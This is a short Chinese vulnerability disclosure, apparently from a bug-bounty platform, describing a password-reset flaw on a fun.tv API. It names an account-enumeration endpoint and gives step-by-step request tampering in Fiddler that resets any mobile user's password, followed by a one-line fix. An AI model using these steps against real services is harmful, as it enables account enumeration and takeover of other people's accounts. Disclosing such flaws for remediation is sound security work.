手机重置密码，密码重置操作没有关联具体的手机号，导致可重置任意手机注册账户的密码。

1. 通过下面url的返回结果，可以遍历出所有的手机注册账户：

http://api1.fun.tv/ajax/get_mobile_vcode/电话号码/reset_password

存在的账户，返回：

{"status":200,"msg":"","url":"","field":""}

不存在的账户，返回：

{"status":400,"msg":"wrong mobile","url":"","field":""}

2. 手机注册一个账号，执行密码找回，输入接受到的验证码，确定后进入密码重置界面；

3. 输入新的密码，开启 fiddler 截获请求，点击确定；

user_name=电话号码&passwd=8e93ff85d9b1670&verifypass=8e93ff85d9b1670

3. 直接用第一步获取到的手机号码，替换请求中的电话号码，重新发起请求；在验证码的有效期内，密码被重置成功。

漏洞证明：

修复方案：

凭证用过即失效，凭证和账号关联
